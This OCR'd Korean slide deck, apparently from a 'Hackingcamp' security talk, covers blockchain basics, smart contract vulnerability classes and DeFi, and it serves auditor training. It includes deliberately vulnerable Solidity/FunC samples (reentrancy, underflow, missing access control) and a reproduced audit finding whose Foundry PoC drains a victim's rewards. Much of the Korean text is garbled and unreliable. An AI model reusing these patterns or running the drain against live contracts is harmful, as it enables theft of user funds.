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=5KH|2! “HElA| OfsH - Block

o O Lz “EBEo| HQI”







o SENQ HEfAIE Fdot= 7HE SR !4,
o ZITHS| 2SHAIH, H|O[E CO]!
o SIX|Ot.- ZQ3} |0|E{S0| O} Tto| T SHE|0{Q)C}H

o Transactions, Blockhash, Timestamp and Metadata like Difficulty

t32 t nVersion;

uint256 hashPrevBlock;
uint256 hashMerkleRoot;

t32 t nTime;
t32 t nBits;

t32 t nNonce;
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o SENQ HEfAIE Fdot= 7HE SR !4,
o ZITHS| 2SHAIH, H|O[E CO]!
o SIX|Ot.- ZQ3} |0|E{S0| O} Tto| T SHE|0{Q)C}H

o Transactions, Blockhash, Timestamp and Metadata like Difficulty

t32 t nVersion;

uint256 hashPrevBlock;
uint256 hashMerkleRoot;

2 t nTime;
t32 t nBits;

t32 _t nNonce;
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e nVersion: S£29| HA.

o =2ZF1t S=EAX|9 HE{ A= HIVt= HU|0|E E|0{0f o, HH HO|0|E= =52 1 X E HiZE 7Is40| QULCH
e hashes: 2241 &2 =52| HOIS SHolV| 2ot =52 SAl.
(2o 3RA CIA Z 21 HAZE?)
o O|A| eff ERSIE? = FHA| 20...
e NnTime: =50| MMEl A2t 7|5617| &[0t EfQUAET
e nBits: 0| = (?)
o RAL FHA| =20l...
e nNonce: SHI= HEH(?).
o 2|t &L,

.
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o SENQ HEfAIE Fdot= 7HE SR !4,
o ZITHS| 2SHAIH, H|O[E CO]!
o SIX|Ot.- ZQ3} |0|E{S0| O} Tto| T SHE|0{Q)C}H

o Transactions, Blockhash, Timestamp and Metadata like Difficulty

CBlock : (BlockHeader

int32 t nVersion;

uint256 hashPrevBlock;

uint256 hashMerkleRoot; std::vector<CTransactionRef> vtx;

12 t nTime;

) t nBits;

? £ nNonce;
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L- O
[ HE, Xt =3, Xhg olX], Xtz elE, tiE, &R ], 55...

o Smart Contract!
o SolidityZ2 ZIEHE Jj T2 a2l A Z I 0 EEMQ A0f| BHZEE|= C|X|= A <f.
o Blockchain stateof] MZE|H, 0] stateS Full node=0]| 2|8H atA 2HEHEl
s (Q MAO| ZCOHY| E= &£ 2207IR... &) — 0|2k Z...
o EBIXME Block0]| ZEE|H, Merkle treeZ2 2 X3tE|H /US.

o &, Block2| Merkle root hash= O EZHE 0| A= mwhOfCf HEE.

.
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o EMMME Private keyZ 0|83}0] C|X|H MHE|0] AU,
o M LIt BYUSS SHot7| 2le
o EzHXMO| i Ho|E{e| RAME SHII| 2T
o Bol wx|E 2E. S MES 2ol A™E £ gl
o (LH7F 3 Y QS HolEt £ gl &)

ofl IjM=|H, Public key= 25| Ot= ZAXME Private keyE Sdl| T4 =,

© Hackingcamp. All Rights Reserved POC SECURITY



SEH|Q! MEfA| o]slf - Merkle tree & proof

e hash? tree EH.

e Blocke| RFEdS 5T57| 2.

e Fast proof!

e N 72| EEHZMO]| QICHH, log(n)7H2l hashE 275tH log(n)2l time complexityE #=Ct.

o ofX|Tl SHZ ol A% &= 7HX|2] RAE +1¢.
o ZSHOILIX} of= ETHMMO| J}u} ol ES M} O|2ot= ETHMM L E9| hash.
o ZHG|IIX} 6= EFMMMO|,  ZM LE9| . 0|2 LE9|... hashes

.
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SEH|Q! MEfA| o]slf - Merkle tree & proof




SEH|Q! MEfA| o]slf - Merkle tree & proof

Assuming we need
to prove this tx

o
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SEH|Q! MEfA| o]slf - Merkle tree & proof




SEH|Q! MEfA| o]slf - Merkle tree & proof




SEH|Q! MEfA| o]slf - Merkle tree & proof




SEH|Q! MEfA| o]slf - Merkle tree & proof
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SEH|Q! MEfA| o]slf - Merkle tree & proof

e log(7) =0.280735--
o 3749] BHAl.
o 39| Bl Al
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e Full Node: ™A Blockchain2 M%&. 2= Block2t Current stateZ gz,
e Archive Node: Full Node?} =&ist= HE 2 + 2 & 817 MEfE K E.

o For example: Old balances, past contract states, etc-
e Light Node: XA Blockchain 2 XM&SHX| 811, Full Node2RE SHS 2SI H|0|EE BS.
o Xl S A0 HetXo|7| = g,

-

.
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ok FOR SE<

o D= LC= KIS (M AL 2RE| HAE,
o MUIAIE2 M gt HIO|H FEd= FXIok7| 2o M= S4E.

e T12{A]... Node= I}t 7 AISS TR Z SF (ARl &) Hardware requirements
A\ NODE USAGE ON PERSONAL LOCAL MACHINE

e Yes! O|#| BlockchainO| 8%t =2|= 0| 7! perodevni  mets et Nodes ol

e Blockchain2| Datas ™ E¥stH. BE 7117} 0| ZHEH! IS

With validator

16 cores CPU
128 GB RAM
1TB NVME SSD OR Provisioned 64+k IOPS storage

1 Gbit/s network connectivity
Public IP address (fixed IP address)
64 TB/month traffic (100 TB/month on peak load) G
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==N|¢! MEHA| O|ol - Consensus

o Block2 HHEA| MMENN? 22|= HEH BlockE MAdetnt?

e = JIX|9 well-known g1t £71X9Q1 Consensus=S0| =xY!
o PoW(Proof of Work)
o PoS(Proof of Stake)
o L}HX| PoS-based proof. (Mostly)
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==N|¢! MEHA| O|ol - Consensus

o Block2 HHEA| MMENN? 22|= HEH BlockE MAdetnt?

o = JIX|9 well-known g3} £71XQ1 ConsensusS0| E=XY!
o PoW(Proof of Work)
o PoS(Proof of Stake)
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== M2l MERfA| 0|5l - Proof of Work

e Yes! HtZ 0[Zd0] MINING(xHZ)!!

o MZXIE EESH NodeZt, HHO|EE H|ICH?) (i.e., nBits in Bitcoin).
o nBits= sha-256 hash& A n-bits7I 021 MEj= MMSI2H= 22 2|0 (in Bitcoin) ? ? ?
o 2tM AGst A Difficulty EESH Blockd| MEE...
o BtF Miner?t HEE &1 HM[=5IH BlockO| A= 11, Miner= dlie Blocke| A TransactionS
Solq EAE KSES.
o Bitcoin2 0§ 10=20IC} BlockO| HdEk|= A2 = HE. IZ0| BlockO| HF W E2H| =22 =2|A
MM = A2, Node= 0 2016 BlockOIC} LtO|= 8 =M EL,
e 0|23t O|R= WZM... = 0|= {O}O{0}gt M=HOo| ERe...

| |
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e nVersion. 2£9| HA,
o =2ZF1t S=EAX|9 HE{ A= HIVt= ¢U|0|E E|0{0f o, HH HO|0|E= =52 1 X & HiZE 70| QULCH

e hashes: 2E241 42 =52| HOIS SHolV| 2ot =52 SAl.

(29324 CIA E 21 HA|X?)
o O|A| 2ff HRSIE? — O|X| 22|= HEUS!

o TransactionS1} Blockl RZEAMEZ SHS}Y| ¢!
e nTime: =50| WA=l A|ZtS 7|Z0617| f|ot EfQUARIIT
¢ «nBits: “0| L.

o K= LtO| .
e nNonce: SHI= ™E

o =2 2Ht=E HE.

.
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==N|¢! MEHA| O|ol - Consensus

e How is Block generated? How do we generate Block?

e There are two well-known ways and more.
o PoW(Proof of Work)
o PoS(Proof of Stake)




S2x|21 MeA| o|sl - Proof of Stake(in ETH)

=~ _~ &
ok FOR SE<

e Block=2 MAY + &= 7|2= HlX]|El Xt22] H|=0| 2[5 2™ E.
o LSt RoleE0| ZXH. (Proposer, Attester, etc-+)
o K= OofX| H|=20f o|A{st 2HE <tZ 0| 2|5 RoleO| HiH E!.
o =2 0f|X|E == =2 “Block proposer7| 2" &&.
e Proposer: Block2 HM|Qt5t= AHE.
o HM[SHXIZEA MEHED Well-formedE H3XMO=E NQISIH, =2 EAE XS]
= Tx fee, base reward...
o Attester: £ Blocke| X|Qto]| Cliet S = ot= S¢l.

o Blocks &3t =8 = S¢et Ao thiet E&= &

e Sync committee: SlotO[Lt EpochE& &712}3l= Node:-
o 0|0| M2|7} Bo| EEISIAIX|R... 7HQI A|ZHo]| 2 26 H :
o sync, slot, epoch 2|11 2ff sync?t SR2HX| SO Lo M= JoLICHH S22 A4S 25| HOEgILICE..
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7t Block= M|t == SLASH!
S A0 & H X[t == SLASH!

AttestStA| S4Z == does not slash but receive penalty &

SA0]| & tH Attest@ == SLASH!

|| o BHHLIZ 2
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S2x|21 MeA| o|sl - Proof of Stake(in ETH)

e Why are these cheat?

o JIM =2 Well-formed”} Ottl O| &5t BlockS H|QFStCf
o Validator= Transactionz} Z2 Block datag =& += U3+
e O|F H|CF
o SfLtC| chainZ 272 2L A|Z|ALt 5...
o 1712 H|2IZ2 A& fXlot= A2 EA!l O|X|2F 0|F H|er=2 0|2 mtxgt.
e AttestS ofA| E=LCIH...
o CHK| M2ZISHA| @8, 0|= Responsibility0|2 2. Cheat= Ot &
e O|Z Attest
o O] EEot 9hM AHTE 0|9l X|A0| BrO| HRdIE=, T2 MZSHK] X.
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e Blockchains?| 2%ist &
e ZI Blockchain® JE0to| Exf, E3N, EQI H= AMEXIE JiX|1 8.

o Al £ Q0| B2 ecosystem=0| Ex{gL.
o 2L, LHE E2| ecosystemOl|X] PoW 7|Hte] concensusE E&.

e Bitcoin, Ethereum, Solana, Near, Cosmos, LayerZero, Wormhole, Avalanche, BNB chain, Polygon, Arbitrum, Optimism, Base, Linea,
Starknet, zkSync, Polkadot, TON, Aptos, Sui, Klaytn

1000000
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X|Z27HX] o 7|5t Z4=0| E= Ethereum.

EVM 7|8k, (JVMS| ZHE 1} QA

~t2 chain (AP 2 22 JHE 2 OF&IIEX] ZXSHA| X. 22{Lt roll-up ZHE 2 =X!)
o Contract?| State= ELHZ SA|0| HEXMOZ X2|E £ 2i3.

ERC7} EthereumQ| EZ. (i.e., ERC20-:-) (Network2| RFC2} SAISICHD & £=E...)

K& equal private key!

Ct! TransactionOl|M multi-contract2t AsZHE0| 7+Hs!

Token(FT)2 LEIX O 2 ERC20 interfaceE 0| 23810 MM =l

PL: Solidity, Vyper
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Telegram JHWELXISELRE AIZEUX|2H TON XHA| 2[AF2 BB RXE T
TVM 7|gt,
Multi chain
o Master chain, work chain and shard chain
TONS| HE2 TIPE AIE.
X2 BEE Al Smart contract!
© Mneonic -> Pri key -> Pub key -> Wallet contract.
o &, wallet2 AI25}H7]| 2 M wallet contract= EFEA| B I |0 OF &t
Message?|8t2| contract S4.
o StLtS| TransactionO|Al multi-contractet E41 E27}5.
Token(FT)2 TIP-3(Jetton) contract design2 7|HtC = MM,
PL: FunC, Tact, Tolk, fift, H=—B{+
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Shard?

Chaing| 2¢!
0= Chain 9IX|st=X|Z Address?| prefixE Sl T+ &.

In the TON:--

Oj2Hof| Ctket VME X|2e A=l (TVM, EVM, Solana, ---). (Ot
Masterchain => Workchain => Shardchain => each chains!

© Hackingcamp. All Rights Reserved
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What’s the smart contract?
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Definition!

e Blockchain &0l XjM| &2l %l = digital contract!
o H2fO| LHEO| Z20[L} 0| }¢|7} OfL|2f Codez &4 &= Al

e EX T2IUS AWAT|S HUECHE YN A BHESHH automaticot| A

Key features!
e Automation - ArEfo| 7HR] §l0| XfSHO=ZE A
e Immutability - ot tH H{Z&|™ HAE -~
e Transparency - Code®} Transaction2 Blockchain&td| M5 274

e Trustless - 2d0|L}, HEFH Z2 ZIX}7I EHR 12!

El

© Hackingcamp. All Rights Reserve d
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Use cases!
e Finance (DeFi): DEX, lending, insurance
e NFTs & Gaming: Token &3, in-game A&t Hz2f.
e Supply Chain: Product tracking, At 2

e Voting Systems: QtTol11 X FIh50t £ A|AHE

Benefits!
e Lower Costs - S7XAI7t QICE=...
e High Security(?) - siZ0|L} HZET} {EHLCH?)
e Global Accessibility - 0{= Lj2tof| &0 QU T 3L 72 do| & E.
e Reliability - H=I5| 7HE =l C= A=

© Hackingcamp. All Rights Reserved



SC01:2023

SC02:2023

SC03:2023

SC04:2023

SC05:2023

SC06:2023

SC07:2023

SC08:2023

SC09:2023

SC010:2023

e —————p MovedUp

2023

Reentrancy Attacks

Integer Overflow and Underflow
Timestamp Dependence
Access Control Vulnerabilities
Front-running Attacks

Denial of Service (DoS) Attacks
Logic Errors

Insecure Randomness

Gas Limit Vulnerabilities

Unchecked External Calls

e— P Moved Down

© Hackingcamp. All Rights Reserved

2025
SC01:2025 Access Control Vulnerabilities
SC02:2025  Price Oracle Manipulation [ NEW
SC03:2025 Logic Errors
SC04:2025 Lack of Input Validation NEW
SC05:2025 Reentrancy Attacks
SC06:2025 Unchecked External Calls
SC07:2025 Flash Loan Attacks NEW
SC08:2025 Integer Overflow and Underflow
SC09:2025 Insecure Randomness
SC010:2025 Denial of Service (DoS) Attacks
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phagma solidity "70.7.6;

contract Underflow {
mapping(address => uint256) public balance;

constructor(uint256 amount) {
balance[msg.sender] = amount;

}

function withdraw(uint256 amount) public {
balance[msg.sender] -= amount;

}

function getBalance() public view returns (uint256) {
return balance[msg.sender];

}
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- Mitigation

e Safemath
e Using 0.8.0+ version.
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agqL}...

e Solidity7t 0.8+2 YH|O|E =[HA]... integer buge AHEE|
e J|2HMOZ TON MM over/underflow?} s{2E|X]| X.

e Z integer bug= Cf O[4L...
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Z
/LQ\

ADIEHEHE A7 U #|obH 2

"O.8.

phaéméﬂsaiiaify

17T

23;,_

contract Vault {
address public owner;

constructor() {
owner = msg.sender;
}

function withdrawAll() public {
payable(msg.sender).transfer(address(this).balance);

receive() external payable {}




global slice owner;

() load data() {
slice ds = get data().begin parse();
owner = ds~load msg addr();
ds~end parse();

}

() recv_internal(slice in msg, cell in _msg body, int msg value) {
int op = in_msg body~load uint(32);

load data();
if (op == OXDEADBEEF) {
int sender = in msg~load msg addr();

send raw_message(make external message(sender, 100000000), 64);
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pragma solidity 70.8.23;

interface IReceiver {
function ping() external;

}

contract Victim {
address[] public receivers;

function register(address _receiver) external {
receivers.push(_receiver);

}

function notifyAll() external {
for (uint i = ©; i < receivers.length; i++) {
IReceiver(receivers[i]).ping();
}
}

function getReceivers() external view returns (address[] memory) {

return receivers;

}

K FOR S




- Mitigation

e Try-catch statement
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7 Q
D)

X

ot FOR SEC

slice find dict(cell dict cell, cell to found) {
int found = 0;
slice val;

while (1) {
val, found = udict get?(dict cell, 32, to found~load uint(32));

if (found) {
return val;
}

}
throw(Oxffff);

POC SECURITY



DoS!

Unexpected transaction revert due to lack of gas or intended revert
O|= X| 2 Transaction?| revert. (7tA B2& SO =2 QIst..)
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pragma solidity ”70.8.23;

contract ReentrancyVuln {
mapping(address => uint256) public balance;

constructor() payable {}

function donate() external payable {
balance[msg.sender] += msg.value;

}

function withdraw(uint256 amount) public {
uint256 prev_balance = balance[msg.sender];
require(prev_balance >= amount, "Insufficient");

(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Send failed");

uint256 after_balance = prev_balance - amount;
balance[msg.sender] = after_balance;

}

function getBalance() view public returns(uint256) {
return balance[msg.sender];
}

receive() external payable {}
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- Mitigation

e ReentrancyGuard modifier
e Checks-Effects-Interaction pattern
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DeFi(Decentralized Finance)

712l2] g
e MZ22 A
o =X 5 BHA V=

X =2t AZE 3 WS

[ S

e DeFiZ = =Z2|7|(G=E, AH|0|H, LHE, REed 3=

N

<~/ Mac



DeFi(Decentralized Finance)

28 (Decentralized Finance)

Traditional Decentralized
Financial System Financial System

r
$

2
AL g' >< T
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DeFi(Decentralized Finance)

DeFi7Zf 2l E=A| S7R?
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DeFi(Decentralized Finance

i

% e, AIRA HEIIO) O 12 M1.. 453}
| Af7| ol

D Al 29

Buzo < @ ®206

= MIAH| 3% 7 MeSRHH| HefA FTX Thi 4P

Banks ar® ggt
your frien®=

7taletm| HeljA FTX, 2= OHMED
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eFi(Decentralized Finance

tl

2d|282IS2U(SVB) It AR

TZLIZ B8 QM AEIEY S HIHIIYOZ ETI2 &

HIXIHI ST AEHER] ZHFSVB(Silicon Valley Bank)2t Helf

« HIHD1IS0| XIF TH2 XEZ HE £2= 30 24, 02 36

+ SVB= HIS0I2 22 AoH 1%0H ZI1XHLE MBS,
O0I2IAZ AEIEY E EXt

+ HF0| QEM 5|4 U S2| QIMOR AEIEY (= 21 A1}

+ SVBE 32| 450 M= A JHE 612 C= SHisH Mokt )18

+ SVB IS A US| T 2OAHM MRS S 2SS

+ JHAKSHH ME223 Silvergate MHAIOZ W2 MP|IX| F&t

+ SVB, R4 SHHE il IH=IHSSH(AFS) IHZC= 189 =24
=SS UH

+ SVB, 229 50ty SXHUHEMOLE ST AN, W3 3! -
L

+ =28 230/ HEZ HIM 23,

AR 2HTH 2 A 2(2280FR)0| 28 4442 THY| THAH

2023 2|2 W22 ot

*

*
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DeFi(Decentralized Finance)
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DeFi Primitives

DeFi Primitive : EEH4|2! {0|M 28 MH|AE 7tsSSH| ot= 7| X0l 1M @A (3|1 22 &)

Creet T2EZS2 0] primitives= X8I O SESI d4UXC 538 ¢S0|LE dElA IS TS0

O Al
e Derivatives(Itdl =)0l ME, 54, 2HH2|X| & 2H|¢lez 7o
o 28X E Lending(RS4 33, 0|Xt 215) & Borrowing(HEE 7|1 Xp4t L) (Gll%], CHE S)

2] Primitive(2|2)S0| ZHA T2EEE 1AM
o AH|O|=2320 +3Y - EHHIlE TIZEE
o AH|O|Z + OIMHAE — YHZ|X| =l AH|O|A MAE
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DeFi Primitives

Sollet.io

A%

Math Wallet

EX0DUS

“»Solong

") SERUM
£% Hedgehog

NecRVe

¥ SolFarm

traderdome %z PsyOptions @> Particle Finance ¥ YMaxDex

F FRONTIER

Saber

S ) COINgs

== SOLANA ECOSYSTEM

_ Wallet

o/. 5'33 ph @

N~ MERCURIAL ’
V FINANL(’:E : Ren
arweave

— . > .« ®)

P2P Wallet Ledger Decentology Wormhole

3 M@ONLET

" akash

Solflare ¢@ ZelCcore

Boring
Protocol

Magic

o
. MoonPay~ BSN plasmafinance

> Blockfolio

Phantom

Jer

i

RAYDIUM @ COIN98 () Luna Network * L | D O ® MangoMarkets
4 \ 1
” cyclos BONFIDA &

Popsicle
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¢CRYPTOPLEASE

SenSwap |§ IdentitySwap .

” solrise == Synthetify @ Orca HY (RO

ri inaANce

A Aviata eurntemnance @ Parrot

= - )

A =3 N
oy jet & SolAPE DTFs Protocol

‘© Cappuu ¢ Solaris

Solana Structured

— ATIN
T € Anchor &3 soieon

Tooling + Explorer
-~ Solana Beach APE /

BOARD Sombra
MuDao ..

SolanaProject and aleph.im

LIQ Protocol Sopl’OX ':
Sollpay

J PYTH

@ Switchboard
Stablecoin

® tether @

Ity.ai

s ® usDCoin Ladl
S SOTERIA ¢

& Band Protocol
V- SerumPulse 4

f«/.’Grawtg

-
Y)) Sonar

~
SerumTaxTime .

SOLSCAN Cappuccino

== SOLANA "y
S(C Solanascan SolGSN validators.app
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Stablecoin
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DeFi Primitives - Stable Coin
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DeFi Primitives - Stable Coin
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DeFi Primitives - Stable Coin

o Z[2fH Ab| - Cashio
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Wed 23 Mar 2022, 09:07:57

Price: $0.00002896
Vol: $181,944
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Staking, Liquid Staking
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DeFi Primitives - Staking

AMEXV EES €8 7|7 ¢ ADE HAEEQ| of|X|5t0] 2 &2 AL HIER3 Hotg| 7|6fot= gFAl
4 )
gx_—ll UiP Staking X
o LERI HO L3}, CIMEIH Hl=
$| O_ItID-I -Igr-éél AH|0|Z & Xt
e Slashing 2% &, Re-Entrancy =4, #gt 22| 0|5 815,208 KRW
LIPS
o 2 J|Zt=50t XA 5N HE | Slahshing(22E A4S mi<E|)
: Yovou :
Q@ i :
> Yoe
e .

a8
Fgoj2 RS
& 50% B ) @

© Hackingcamp. All Rights Reserved POC SECURITY




DeFi Primitives - Liquid Staking
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DeFi Primitives - Flash Loan
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DeFi Primitives - Flash Loan

Lender Borrower

Sure! A
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this money!
J

Wow!
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DeFi Primitives - Flash Loan

- Contract
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I o
User's receiver

contract repayment
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DeFi Primitives - Flash Loan
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DeFi Primitives - Flash Loan

Arbitrage(Xt2l7{2H)
o AZelA I SETH =$5 Ef :
o B4 1 SETH = $6 243 Arbitrage

FlashLoan2 S5l 5000 E2{E 22|,
A HEHA0[M ETHE AMA B 2 20] EH?!

-$5,000

Sell 1,000 ETH

DeFig| 248 Heli 20| M= O]=et 7|2 =0]| /S

.« 254 27

o CHt: 7HEH




DeFi Primitives

DEX & AMM
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DeFi Primitives - DEX & AMM
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DeFi Primitives - Lending & Borrowing
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DeFi Primitives - Lending & Borrowing
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DeFi Primitives - Lending & Borrowing
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DeFi Primitives - Lending & Borrowing
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Yield Aggregator
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DeFi Primitives - Yield Aggregator
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DeFi Primitives - Cross-Chain Bridge
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DeFi Primitives - GameFi(P2E)
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$24 Billion

Total amount hacked worldwide since 2011

Attack Trends

Rug Pull
® Access Control
® Flash Loan Attack
® Miscellaneous
® Business Logic Issue
Phishing
Reentrancy
Logic Errors
® Other

® Oracle Issue The total amount hacked Number of hacks

$24.49B 1975

DeFi ProtocolS0j| A sl{Z! m|o}




Target

GMX V1

Resupply

Nobitex

Coinbase

Cetus (Sui)

ByBit

2025 CHiE offZ At Ijol

Date

July 9

June 26

June 18

June 6

May

Feb 21

Estimated Loss

$42M(580%)

$9.5M(1309)

$90M(1250<)

$400M(5500%)

$220M(30000)

$1.46B(2X)
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Descrption

OHHAE T2 E X Re-entrancy
(= T2 E= Donation Attack
Hell A, Private Key Leakage

el 4, Web?2 Info Leaked

DEX & Liquidity, Integer Overflow

Hell 2, Multi-Sig Social

Engineering Attack 6
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SEKH|Q] MEA A & E S5
e Ethereum / EVM 7]8t X|2! (Polygon, BSC, Avalanche)

—

o Solidity, Foundry, Tenderly, Web3.js S
Solana A| ¢l

o Rust, Anchor
Aptos, Sui |2l

o Move
Cosmos ¢!

o Go / Cosmos SDK, CosmWasm
Ton H| 2|

o FunC
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ADIEZHEME DeFi YA Y, CTF

e Ethernaut (OZ) - https.//ethernaut.openzeppelin.com/
o Solidity, 7|=2& 2l A =F0[Lt 7|=2H QI Solidity FFE IME I Jhs
e Damn Vulnerable DeFi - https://www.damnvulnerabledefi.xyz/
o &KX DeFi &4 AlLIZ|2 /A
o FlashLoan, Price Manipulation, AMM Attack S DeFi #A IHE I}t Tt
e OnlyPwner - https://onlypwner.xyz/
o Solidity 7|8t EVM HM[QI0|A Xt S&ot= F2fE XS
e Paradigm CTF - https.//ctf.paradigm.xyz/
e Remedy CTF - https.//ctf.r.xyz/
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DeFi I=2EZ QL|E T2 A

e =S UNZ2EF EE
o Manual Audit
o Static Analysis

o Fuzzing
o LLM
o F 2™ PoC &Y
o FAHO| MHZ 4L IS B0 F= AASZQ A AHY
o EVM H|Qle] B2 FoundryE 0| A28 Fork ZE)
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DeFi I=2EZ QL|E T2 A
o HIIA At M

Overview

Code Review Comments

Create new finding

Severity

Severity will be calculated based on the likelyhood
and impact selection

Finding description

Please provide description of your finding explaining
the reason why you consider it dangerous for the
protocol

20}
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mY |nox H1

o= = XX
IE Okl 02 oR

b
12
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Findings

b~ & Cancel

AlZbE IisA Sk
a1 o O oo
Severity * Likelihood Impact

None v None v None v
Finding Title *
Finding Description *

Preview Detailed with instructions

## Summary
A short summary of the issue, keep it brief.

## Finding Description
A more detailed explanation of the issue. Poorly written or incorrect findings may result in rejection and a decrease of
reputation score.

Describe which security guarantees it breaks and how it breaks them. If this bug does not automatically happen,
showcase how a malicious input would propagate through the system to the part of the code where the issue occurs.

## Impact Explanation
Elaborate on why you've chosen a particular impact assessment.

## Likelihood Explanation
Explain how likely this is to occur and why.

## Proof of Concept
A proof of concept is normally required for Critical, High and Medium Submissions for reviewers under 80 reputation
points. Please check the competition page for more details, otherwise your submission may be rejected by the judges.

## Recommendation
How can the issue be fixed or solved. Preferably, you can also add a snippet of the fixed code here.

9 Paste, drop, or click to add images
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M= =2 O|MA| CHE AFEX}E AlIF Q| XIS Drain(E3)e = US

Unauthorized draining of arbitrary user rewards via override address
migration #75

L Duplicate of #15 (© Confirmed Drain Rewards of anyone using overrideReceiver() and removeOverrideAddress()

Status (O Duplicate

Severity ® Severity: High = @ Likelihood: High x @ Impact: High

realsung - created on Jun1, 2025 at 05:04 - Edited

Summary

A malicious user can drain the unclaimed rewards of any victim address by abusing the overrideReceiver and
removeOverrideAddress functions in the RewardManager contract, due to missing authorization checks during reward migration.

o ; st 2ol 0|Zo 2 RewardManager #H2F2| overrideReceiver ¥

removeOverrideAddress &+& 2250 O|ol| A} FLAL| MAE|X| &2 HAME D B 7t

© Hackingcamp. All Rights Reserved
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OftH F|ofEQIX] A5 2H
o Impact?} High S&21%|?
ot Asto| Uojof &480| 7tsetx|?

Finding Description

The RrewardManager contract allows any user to set their own override address to any arbitrary address (including a victim), and later remove the override with the
migrateExistingRewards flag set to true. When this happens, the contract migrates all unclaimed rewards from the override address (victim) to the caller (attacker), even though
the attacker has no legitimate claim to those rewards.

The bug occurs because the contract does not check that the caller is authorized to move funds from the override address, only that the override address is set.
Flow:

1. Attacker sets their override address to the victim's address: rewardManager.overrideReceiver(victim, false);
2. Victim accumulates unclaimed rewards.

3. Attacker calls removeOverrideAddress(true) , which internally calls _migrateRewards(victim, attacker) .

4. All of the victim's unclaimed rewards are transferred to the attacker, who can then claim them.

Impact Explanation

« Critical : The attacker can steal all unclaimed rewards from any user, resulting in direct loss of funds for victims

Likelihood Explanation

« The attack can be performed by any user without special permissions, and only requires public function calls.
» The attack can be executed by anyone with a single transaction, as there are no access controls or checks on the migration source address.

« The only requirement is that the victim has unclaimed rewards, which is a normal state for users in the system.

© Hackingcamp. All Rights Reserved POC SECURITY



PoC ZE H& 9l Foundry=1E 0|23}l Call Trace M2

Proof of Concept

The attacker can migrate and claim rewards from any victim address without any authorization or consent from the victim.

function testOverrideDrainAttack() public {
address attacker = userl;
address victim = user2;

/ 1. Attacker sets their override address to victim
vm.prank(attacker);
rewardManager.overrideReceiver(victim, false);

/ 2. Simulate rewards being accumulated for victim
vanillaRegistryTest.testSelfStake();
address victimvalidator = vanillaRegistryTest.userl();
bytes memory victimPubkey = vanillaRegistryTest.userlBLSKey();

vm.deal(user3, 5 ether);
vm.prank(user3);
rewardManager.payProposer{value: 5 ether}(victimPubkey); // unclaimedRewards[victim] = 5 ether

assertEq(rewardManager.unclaimedRewards(victim), S5 ether);

'/ 3. Attacker removes override with migrateExistingRewards = true
vm.prank(attacker);
rewardManager.removeOverrideAddress(true); // Internally, this triggers _migrateRewards(victim, attacker), which transfers all of the victim’s unclaimed rewards to
the attacker.
/ 4. Attacker's unclaimedRewards should now be 5 ether, victim's should be @
assertEq(rewardManager.unclaimedRewards(attacker), 5 ether);
assertEq(rewardManager.unclaimedRewards(victim), ©);

/852
’ The a

Attacker claims rewards
tt )

i/ acker calls claimRewards() and successfully withdraws the stolen funds.
uint256 balanceBefore = attacker.balance;

vm.prank(attacker);

rewardManager.claimRewards();

assertEq(attacker.balance, balanceBefore + 5 ether);

Call Trace

forge clean && forge test --match-path test/validator-registry/rewards/RewardManagerTest.sol --via-ir -vvvv --match-test testOverrideDrainAttack
[] Compiling...
[*] Compiling 160 files with Solc ©.8.26
[ *] Solc ©.8.26 finished in 84.55s
Compiler run successful with warnings:
Warning (2072): Unused local variable.
-=> test/validator-registry/rewards/RewardManagerTest.sol:628:9:

© Hackingcamp. All Rights Reserved
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Recommendation

Add an authorization check in removeOverrideAddress and/or _migrateRewards to ensure that only the legitimate owner of the source address can migrate their rewards.

check from == msg.sender

function removeOverrideAddress(bool migrateExistingRewards) external whenNotPaused nonReentrant {
address toBeRemoved = overrideAddresses[msg.sender];

require(toBeRemoved != address(@), NoOverriddenAddressToRemove());
if (migrateExistingRewards) {
require(toBeRemoved == msg.sender, "Cannot migrate rewards from another address"); // Add this check:

_migrateRewards(toBeRemoved, msg.sender);

}
overrideAddresses[msg.sender] = address(9);
emit OverrideAddressRemoved(msg.sender);

contracts/contracts/validator-registry/rewards/RewardManager.sol

128 if (migrateExistingRewards) { _migrateRewards(toBeRemoved, msg.sender); }

contracts/contracts/validator-registry/rewards/RewardManager.sol

195 function _migrateRewards(address from, address to) internal {

© Hackingcamp. All Rights Reserved POC SECURITY



Solodit Findings Checklist Docs (@ Sign up Login

Filter reset ¢ Explore smart contract vulnerabilities d Proposals created with voting mode EarlyExecution are vulnerable to

flashloan attacks
Aragon DAO Gov Plugin - -

.+ Medium High bt Overview

Lack of SafeERC20 can inflate user balance
Aragon DAO Gov Plugin
@ Al summary

.1 Medium

Severity: High Risk
Context

(No context files were provided by the reviewer)

All time v d Proposals created with voting mode EarlyExecution are vulnerable to flashloan attacks

Aragon DAO Gov Plugin

-~

Description

If the token used by the LockManager can be flashloaned (or flashminted) and a proposal is created with the
voting mode EarlyExecution, anyone could be able to "early execute" it performing the following actions:
MinVotingPowerCondition logic can be bypassed via flashloans
Aragon DAO Gov Plugin Flashloan the needed amount.
Lock the flashloaned amount.
Cast a "YES" vote and trigger the "early execute" logic.
Unlock the tokens.
Repay the flashloan.

Fee Cap May Be Too Low Proof of Concept
USDTO Polygon Integration Audit

+ Medium

{TestBase} "./lib/TestBase.sol";

Excess Gas Remains in SpokePool {DaoBuilder} . /builders/DaoBuilder.sol";

USDTO Polygon Integration Audit {DAO} "@aragon/osx/src/core/dao/DAD.sol";
{Action} "@aragon/osx-commons-contracts/src/executors/IExecutor.sol”;
{LockToVotePlugin, MajorityVotingBase} rc/LockToVotePlugin.sol";
{IMajorityVoting} " ../src/interfaces/IMajorityVoting.sol";
{LockManagerERC20} " ../src/LockManagerERC208.sol";
{IERC208} "@openzeppelin/contracts/token/ERC20/IERC26.so0l";
{TestToken} " . /mocks/TestToken.sol";
"forge-std/console.sol"”;

1day case - https.//solodit.cyfrin.io

« Medium



https://solodit.cyfrin.io/
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